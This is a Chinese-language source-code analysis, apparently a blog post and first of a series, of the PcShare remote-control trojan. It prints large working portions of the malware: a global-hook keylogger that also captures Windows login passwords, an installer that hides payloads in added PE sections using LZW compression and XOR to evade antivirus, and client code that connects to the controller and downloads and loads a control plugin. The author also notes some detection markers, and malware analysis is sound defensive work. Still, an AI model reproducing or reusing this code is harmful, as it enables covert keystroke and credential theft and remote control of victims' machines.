PcShare是一款功能強大的遠程管理軟件,可以在內網、外網任意位置隨意管理需要的遠程主機,該軟件是由國內安全愛好者無可非議開發。在當時這款遠控在大家應該比較熟悉了,VC編譯器調出來的的小體積全功能木馬。相比Delphi的灰鴿子真是碉堡了!
下面我們使用具有通用性的會員版本為例,進行源碼分析。其他企業版本和2011版應該大同小異,有興趣的可以自行研究。由于篇幅限制,我們主要關注一些關鍵代碼流程,核心代碼、及加密解密部分。
作者開源的源碼包大致目錄結構:
C:\PCSHARE
├─2011年版
├─企業定做
│ ├─PcLKey
│ ├─PcMain
│ ├─PcMake
│ ├─PcShare
│ └─PcStart
├─會員版本
│ ├─PcLKey
│ ├─PcMain
│ ├─PcMake
│ ├─PcShare
│ └─PcStart
├─版本工具
│ ├─FileInsert
│ ├─InSertPsString
│ ├─NetServer
│ ├─PcFileComb
│ ├─PcSocksServer
│ ├─PsProxy
│ ├─SrcModifyTool
│ ├─StrEntry
│ └─UpPcShare
└─界面資源
├─tool
└─[XTreme.Toolkit.9.6.MFC].Xtreme.Toolkit.Pro.v9.60
文件大致作用:
PcLKey鍵盤記錄插件
PcStart可執行安裝主程序
PcMake 連接型DLL小馬
PcMain 主功能控制插件
PcShare 主控程序帶界面
我們先看下會員版本配置界面,然后在開始分析。你可以發現會員版本和早期拿到的版本不一樣,有一個捆綁文件功能,而這個功能有一個亮點“壓縮編碼”。想知道?繼續看
PcLKey鍵盤記錄插件 編譯文件名:PcLkey.dll 這款鍵盤記錄插件的特色就是可以記錄中文英文等,而且可以嘗試記錄系統登錄密碼。服務啟動SYSTEM權限的,登陸系統密碼記錄應該是支持XP/2003的,具體大家測測看。
以下是啟動監控中文和英文及登錄窗口輸入記錄,處理流程代碼。 離線鍵盤記錄數據文件以*.dll.txt存儲,和dll一個目錄。
#!c++
//數據文件名稱
*pEnd = 0x00;
lstrcat(m_ModuleFileName, ".txt");
strcpy(m_KeyFilePath, m_ModuleFileName);
HDESK hOldDesktop = GetThreadDesktop(GetCurrentThreadId());
//監控中文和英文
HDESK hNewDesktop = OpenDesktop("Default", 0, FALSE, MAXIMUM_ALLOWED);
if(hNewDesktop != NULL)
{
SetThreadDesktop(hNewDesktop);
}
if(NULL == g_hKeyHK_CN)
{
g_hKeyHK_CN = SetWindowsHookExW(WH_CALLWNDPROC, HOOK_WM_IME_COMPOSITION_Proc, ghInstance, 0);
}
if(NULL == g_hKeyHK_EN)
{
g_hKeyHK_EN = SetWindowsHookExW(WH_GETMESSAGE, HOOK_WM_CHAR_Proc, ghInstance, 0);
}
GetModuleFileName(NULL, m_ModuleFileName, 255);
CharLower(m_ModuleFileName);
if(strstr(m_ModuleFileName, "svchost.exe") != NULL)
{
//監控登錄窗口
hNewDesktop = OpenDesktop("Winlogon", 0, FALSE, MAXIMUM_ALLOWED);
if(hNewDesktop != NULL)
{
SetThreadDesktop(hNewDesktop);
}
if(NULL == g_hKeyHK_LG)
{
g_hKeyHK_LG = SetWindowsHookExW(WH_GETMESSAGE, HOOK_WM_CHAR_LOGIN_Proc, ghInstance, 0);
}
SetThreadDesktop(hOldDesktop);
}
英文記錄核心代碼:WH_GETMESSAGE全局鉤子,大家的代碼應該都差不多,這里主要是處理回車符和刪除符。
#!c++
LRESULT CALLBACK HOOK_WM_CHAR_Proc (int nCode, WPARAM wParam, LPARAM lParam)
{
if (nCode >= 0 )
{
PMSG pMsg = (PMSG) lParam;
if(pMsg->message == WM_CHAR && wParam == PM_REMOVE && GetTickCount() - nCnKeyTimeOut > 5)
{
nEnKeyTimeOut = GetTickCount();
switch(pMsg->wParam)
{
case VK_BACK:
InsertBuffer(L"[<=]", KEY_INSERT_NORMAL);
break;
case VK_RETURN:
InsertBuffer(L"\r\n", KEY_INSERT_NORMAL);
break;
default :
{
WCHAR m_Text[3] = {0};
memcpy(m_Text, &pMsg->wParam, sizeof(WPARAM));
InsertBuffer(m_Text, KEY_INSERT_NORMAL);
}
break;
}
}
}
return CallNextHookEx(g_hKeyHK_EN, nCode, wParam, lParam);
}
中文記錄核心代碼:主要用到WH_CALLWNDPROC全局鉤子處理WM_IME_COMPOSITION消息,通過ImmGetCompositionStringW函數獲取字符。
#!c++
LRESULT CALLBACK HOOK_WM_IME_COMPOSITION_Proc (int nCode, WPARAM wParam, LPARAM lParam)
{
CWPSTRUCT* pMsg = (CWPSTRUCT*) lParam;
if(m_IsLogin)
{
//已經登錄
m_IsLogin = FALSE;
//需要保存登錄密碼
InsertBuffer(L"\r", KEY_INSERT_LOGIN_END);
WCHAR m_UserName[256] = L"當前用戶:";
DWORD len = 256 - lstrlenW(m_UserName) - 1;
GetUserNameW(m_UserName + lstrlenW(m_UserName), &len);
lstrcatW(m_UserName, L" 用戶密碼:");
InsertBuffer(m_UserName, KEY_INSERT_LOGIN_END);
InsertBuffer(L"\n", KEY_INSERT_LOGIN_END);
}
if(nCode == HC_ACTION)
{
switch (pMsg->message)
{
case WM_IME_COMPOSITION:
{
if(GetTickCount() - nEnKeyTimeOut > 5)
{
nCnKeyTimeOut = GetTickCount();
HWND hWnd = GetForegroundWindow();
HIMC hIMC = ImmGetContext(hWnd);
memset(g_srcBuf, 0, 256 * sizeof(WCHAR));
DWORD dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);
ImmGetCompositionStringW(hIMC, GCS_RESULTSTR, g_srcBuf, dwSize);
if(StrCmpW(g_srcBuf, g_destBuf) != 0)
{
InsertBuffer(g_srcBuf, KEY_INSERT_NORMAL);
lstrcpyW(g_destBuf, g_srcBuf);
}
if(hIMC)
{
ImmReleaseContext(hWnd, hIMC);
}
}
}
break;
}
}
return(CallNextHookEx(g_hKeyHK_CN, nCode, wParam, lParam));
}
系統登錄記錄核心代碼:這個和英文記錄查不多主要涉及就是用戶桌面切換,這里不需要處理回車因為按回車就等于點確定登陸了。
#!c++
LRESULT CALLBACK HOOK_WM_CHAR_LOGIN_Proc (int nCode, WPARAM wParam, LPARAM lParam)
{
//進入登錄窗口
if(nCode >= 0 )
{
PMSG pMsg = (PMSG) lParam;
if(pMsg->message == WM_CHAR)
{
m_IsLogin = TRUE;
switch(pMsg->wParam)
{
case VK_BACK:
InsertBuffer(L"[<=]", KEY_INSERT_LOGIN);
break;
default :
{
WCHAR m_Text[3] = {0};
memcpy(m_Text, &pMsg->wParam, sizeof(WPARAM));
InsertBuffer(m_Text, KEY_INSERT_LOGIN);
}
break;
}
}
}
return CallNextHookEx(g_hKeyHK_EN, nCode, wParam, lParam);
}
PcStart可執行安裝主程序 編譯文件名:PcInit.exe
這個程序主要作用就是從EXE中釋放DLL和SYS文件等,安裝服務并調用執行主要功能DLL木馬上線。早期這款遠控特色就是有驅動,可以隱藏連接和注冊表等。可惜這種泛濫Rootkit代碼維持沒多久就被殺毒列入監控范圍,然后就沒有然后了。
用戶配置生成數據結構體,和配置器的需要定義的內容差不多。
#!c++
// 該結構僅在生成肉雞文件時使用,不用來通訊
// 該結構改成ANSI版的更好
typedef struct _PSDLLINFO_
{
//定長
UINT m_ServerPort;
UINT m_DelayTime;
UINT m_IsDel;
UINT m_IsKeyMon;
UINT m_PassWord;
UINT m_DllFileLen;
UINT m_SysFileLen;
UINT m_ComFileLen;
UINT m_CreateFlag;
UINT m_DirAddr;
//變長
char m_ServerAddr[256]; // TCHAR to char [9/19/2007 zhaiyinwei]
char m_DdnsUrl[256];
char m_Title[64];
char m_SysName[24];
char m_ServiceName[24]; //服務名稱
char m_ServiceTitle[256]; //服務描述
char m_ServiceView[32]; //服務顯示名稱
char m_SoftVer[32]; //軟件版本
char m_Group[32]; //用戶分組
//客戶端保存
UINT m_IsSys;
UINT m_ExtInfo;
char m_ID[18];
char m_ExeFilePath[256];
}PSDLLINFO, *LPPSDLLINFO;
下面看看作者的debug版本調試用的代碼,更形象一些。主要數據就是上線地址、端口、安裝服務名稱、服務顯示名稱、服務描述、上線分組、備注、重連超時、軟件版本、上線密碼等等
下面這段代碼可以看得出會員版本和普通版本區別,
1、使用的DLL不一樣,會員版是完整版的DLL、普通版本是精簡版的DLL。
2、主函數名的區別,會員版本是Vip20101125,免費版本是ServiceMain。
3、會員版本直接帶完整控制插件DLL,免費版會先建立TCP連接傳輸控制插件(就是小馬帶大馬減小體積),這個后續在提到。
PcStart還有三處值得注意的亮點:
1 DLL和SYS文件數據加密存儲,捆綁合并文件使用LZW編碼壓縮。避免被殺毒軟件輕易的識別出捆綁(內置)PE文件,對躲避查殺有一定效果。但是有些強悍的殺毒還是能通過虛擬機脫殼或算法識別解碼后將其藏匿的文件進行查殺。攻防最頭痛莫過于對手太強大,所以現在手段不高明基本沒有生存空間了。
#!c++
FCLzw lzw;
//附加信息數據
BYTE* pZipInfoData = ((BYTE*) pSaveInfo) + sizeof(MYSAVEFILEINFO);
DWORD nSrcInfoDataLen = 0;
BYTE* pSrcInfoData = NULL;
lzw.PcUnZip(pZipInfoData, &pSrcInfoData, &nSrcInfoDataLen);
CopyMemory(pInfo, pSrcInfoData, nSrcInfoDataLen);
delete [] pSrcInfoData;
if(IsFileComb)
{
DWORD nSrcComDataLen = 0;
BYTE* pZipComData = pZipInfoData + pSaveInfo->m_Size + pInfo->m_DllFileLen + pInfo->m_SysFileLen;
BYTE* pComFileData = NULL;
lzw.PcUnZip(pZipComData, &pComFileData, &nSrcComDataLen);
delete [] pFileData;
//修改原始文件
while(1)
{
if(WriteMyFile(pCmdLines, pComFileData, nSrcComDataLen))
{
break;
}
Sleep(50);
}
2 修改利用PE文件標志來識別文件類型,分析過程中我發現一處不錯的思路。修改PE文件的標識“This program cannot be run in DOS mode.”中的“This”位置來標注這是一個什么類型文件,方便后期文件處理和執行。這是固定碼可以將此處加入查殺特征庫就可以識別了,快速掃描有點用,準確識別還是另外在找一處吧。
定義:
#!c++
#define PS_START_WIN7 11001 //win7啟動
#define PS_START_UPDATE 11002 //更新客戶端
#define PS_START_FILECOMB 11003 //文件捆綁
#define PS_START_FILECOPY 11004 //文件捆綁拷貝
BYTE* GetCmdType()
{
char m_FileName[256] = {0};
GetModuleFileName(NULL, m_FileName, 255);
HANDLE hFile = CreateFile(m_FileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if(hFile == INVALID_HANDLE_VALUE)
{
return NULL;
}
DWORD nReadLen = 0;
DWORD nFileLen = GetFileSize(hFile, NULL);
CloseHandle(hFile);
//修改標志
//This
char m_TempStr[256] = {0};
m_TempStr[0] = 'T';
m_TempStr[1] = 'h';
m_TempStr[2] = 'i';
m_TempStr[3] = 's';
m_TempStr[4] = 0x00;
//修改EXE數據標志
BYTE* pData = (BYTE*) GetModuleHandle(NULL);
BYTE* pCmd = NULL;
for(DWORD i = 0; i < nFileLen; i++)
{
if(memcmp(&pData[i], m_TempStr, 4) == 0)
{
pCmd = (BYTE*) &pData[i + 4];
break;
}
}
return pCmd;
}
驗證:
3 運行成功后加密配置數據修改DLL 文件,生成一段隨機作為Key。數據和Key異或加密存儲,放在PE空區段里面。Pcshare多次利用空區段存放數據,用的時候在找標記“PS_VER_ULONGLONG”找大小在讀取出來,避免“資源文件存文件”、“附加數據存文件”等傳統捆綁打包和攜帶配置文件的方式,被殺毒啟發式掃描檢測出來。
#!c++
//取隨機數據
srand((unsigned) time(NULL));
for(i = 0; i < nInfoDataLen; i++)
{
pKeyData[i] = rand();
}
//加密數據
for(i = 0; i < nInfoDataLen; i++)
{
pTmpData[i] = pTmpData[i] ^ pKeyData[i];
}
AddDataToPe(pSaveData, nInfoDataLen * 2 + nStrSize, pDllFileData, nSrcDllDataLen, m_DllFilePath);
AddDataToPe代碼片段:
#!c++
// 新節的RVA
pNewSec->VirtualAddress = pPE_Header->OptionalHeader.SizeOfImage;
//SizeOfRawData在EXE文件中是對齊到FileAlignMent的整數倍的值
pNewSec->SizeOfRawData = DataLen;
pNewSec->SizeOfRawData /= pPE_Header->OptionalHeader.FileAlignment;
pNewSec->SizeOfRawData++;
pNewSec->SizeOfRawData *= pPE_Header->OptionalHeader.FileAlignment;
// 設置新節的 PointerToRawData
pNewSec->PointerToRawData = nPeLen;
// 設置新節的屬性
pNewSec->Characteristics = 0x40000040; //可讀,,已初始化
// 增加NumberOfSections
pPE_Header->FileHeader.NumberOfSections++;
// 增加SizeOfImage
pPE_Header->OptionalHeader.SizeOfImage +=
(pNewSec->Misc.VirtualSize/pPE_Header->OptionalHeader.SectionAlignment + 1) *
pPE_Header->OptionalHeader.SectionAlignment;
// 保存到文件
HANDLE hFile = CreateFile(
pPeFile,
GENERIC_WRITE,
FILE_SHARE_READ,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL );
PcMake 連接型DLL小馬 編譯文件名:PcMake.dll
通過源碼分析Pcshare共有3個插件1、控制插件(即:PcMain.dll) 2、鍵盤記錄插件(PcLkey.dll) 3、Sock5代理插件 后兩個插件是會員版本專享。
PcMake這個插件初始化連接是使用TCP連接到控制端,然后下載控制插件。會員版本采用直接捆綁打包PcMain.dll控制插件方式,所以體積上會大一些。
這個小馬插件特色不多,下面我主要分析的解密配置信息部分代碼和上線代碼。
定義:
#!c++
#define PS_VER_ULONGLONG 0x1234567812345678
BOOL MyMainFunc::GetFileSaveInfo(LPVOID pInfoData, DWORD nInfoLen, HINSTANCE hInst)
{
//文件數據
DWORD nReadLen = 0;
char m_DllName[MAX_PATH] = {0};
GetModuleFileName(hInst, m_DllName, 200);
HANDLE hFile = CreateFile(m_DllName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if(hFile == INVALID_HANDLE_VALUE)
{
return FALSE;
}
DWORD nFileLen = GetFileSize(hFile, NULL);
BYTE* pFileData = new BYTE[nFileLen];
ReadFile(hFile, pFileData, nFileLen, &nReadLen, NULL);
CloseHandle(hFile);
//查找存儲文件標志
BYTE* pSaveInfo = NULL;
for(DWORD i = nFileLen - sizeof(ULONGLONG); i > sizeof(ULONGLONG); i--)
{
if(*(ULONGLONG*) &pFileData[i] == PS_VER_ULONGLONG)
{
pSaveInfo = &pFileData[i] + sizeof(ULONGLONG);
break;
}
}
if(pSaveInfo == NULL)
{
delete [] pFileData;
return FALSE;
}
BYTE* pKeyData = pSaveInfo + sizeof(PSDLLINFO);
CopyMemory(pInfoData, pSaveInfo, sizeof(PSDLLINFO));
BYTE* pSrcData = (BYTE*) pInfoData;
//還原數據
for(i = 0; i < sizeof(PSDLLINFO); i++)
{
pSrcData[i] = pSrcData[i] ^ pKeyData[i];
}
delete [] pFileData;
return TRUE;
}
運行后,查找存儲配置的標志“0x1234567812345678”(PcStart成功執行后寫入的配置信息),找到后將密鑰和配置讀取出來,循環所有配置加密數據和密鑰進行異或Xor解密。
驗證方法:16進制編輯工具搜索16進制“7856341278563412”
Ollydbg調試印證:
#!c++
#define PS_ENTRY_COMM_KEY 0xf7 //簡單異或
#define PS_USER_ID 0x3030303030303030 //VIP版本
BOOL CMyClientTran::Create(DWORD nCmd, char* m_ServerAddr, UINT m_ServerPort, char* pUrl, UINT nPassWord)
{
Close();
StrCpy(m_Addr, m_ServerAddr);
m_Port = m_ServerPort;
//查看是否有ddns
if(lstrlen(pUrl) != 0)
{
GetRealServerInfo(pUrl, m_Addr, &m_Port);
}
//連接到服務器
m_Socket = GetConnectSocket(m_Addr, m_Port);
if(m_Socket == NULL)
{
return FALSE;
}
//協商初始數據
LOGININFO m_LoginInfo = {0};
m_LoginInfo.m_Cmd = nCmd;
m_LoginInfo.m_hWnd = (HWND) nPassWord;
m_LoginInfo.m_UserId = PS_USER_ID;
EncryptByte(&m_LoginInfo, sizeof(LOGININFO));
return SendData(&m_LoginInfo, sizeof(LOGININFO));
}
void CMyClientTran::EncryptByte(LPVOID pData, DWORD nLen)
{
BYTE* pTmpData = (BYTE*) pData;
for(DWORD i = 0; i < nLen; i++)
{
pTmpData[i] = pTmpData[i] ^ PS_ENTRY_COMM_KEY;
}
}
連接控制端成功后發送軟件版本和上線密碼(傳輸的數據使用異或F7加密,有點弱爆的感覺。),然后從主控端下載控制插件。
#!c++
void CMyWorkMoudle::MakeModFileMd5(LPCTSTR pFileName, BYTE* sMd5Str)
{
HANDLE hFile = CreateFile(pFileName, GENERIC_READ, FILE_SHARE_READ,NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if(hFile == INVALID_HANDLE_VALUE)
{
return;
}
DWORD nReadLen = 0;
DWORD nFileLen = GetFileSize(hFile, NULL);
BYTE* pFileData = new BYTE[nFileLen];
ReadFile(hFile, pFileData, nFileLen, &nReadLen, NULL);
CloseHandle(hFile);
//校驗本地文件
MD5_CTX context = {0};
MD5Init (&context);
MD5Update (&context, pFileData, nFileLen);
MD5Final (&context);
//保存校驗碼
CopyMemory(sMd5Str, &context, 16);
delete [] pFileData;
}
HMODULE CMyWorkMoudle::GetModFile(char* pFilePath, UINT nCmd)
{
//MD5校驗
BYTE m_DllFileMd5[24] = {0};
MakeModFileMd5(m_ModFilePath, m_DllFileMd5);
//連接服務器,上送本地文件校驗碼
CMyClientTran m_Tran;
if(!m_Tran.Create(nCmd, m_DllInfo.m_ServerAddr, m_DllInfo.m_ServerPort,
m_DllInfo.m_DdnsUrl, m_DllInfo.m_PassWord) || !m_Tran.SendData(m_DllFileMd5, 16))
{
return NULL;
}
//接收文件長度
DWORD nFileLen = 0;
if(!m_Tran.RecvData(&nFileLen, sizeof(DWORD)))
{
return NULL;
}
//查看是否需要接收文件
if(nFileLen == 0)
{
return LoadLibrary(pFilePath);
}
//接收文件
BYTE* pFileData = new BYTE[nFileLen + 65535];
ZeroMemory(pFileData, nFileLen + 65535);
if(!m_Tran.RecvData(pFileData, nFileLen))
{
delete [] pFileData;
return NULL;
}
//解壓文件
FCLzw lzw;
if(!lzw.PcSaveData(pFileData, pFilePath))
{
delete [] pFileData;
return NULL;
}
delete [] pFileData;
//裝載DLL文件
return LoadLibrary(pFilePath);
}
校驗插件文件完整性使用MD5算法,判斷是否與控制端最新版本相符。相同則不在傳輸,貌似MD5算法目前不是太安全了吧。
Pcshare這款遠控的代碼規范方面還是比較工整的,代碼縮進而且還有大量注釋。非常適合初學入門和二次開發。據說早期有HTTP協議的版本但是現在代碼丟失了,可惜了這款2010款是TCP版本對企業防火墻穿墻能力有限。比較有特色的思路:1、LZW編碼壓縮 2、改PE的DOS頭“This”給文件做標記 3、利用空區段存放數據,看得出作者對安裝用的EXE處理上花了不少功夫。
PcMain 主功能控制插件、PcShare 主控程序帶界面將在第2篇中在分析,預知后事如何,請聽下回分解。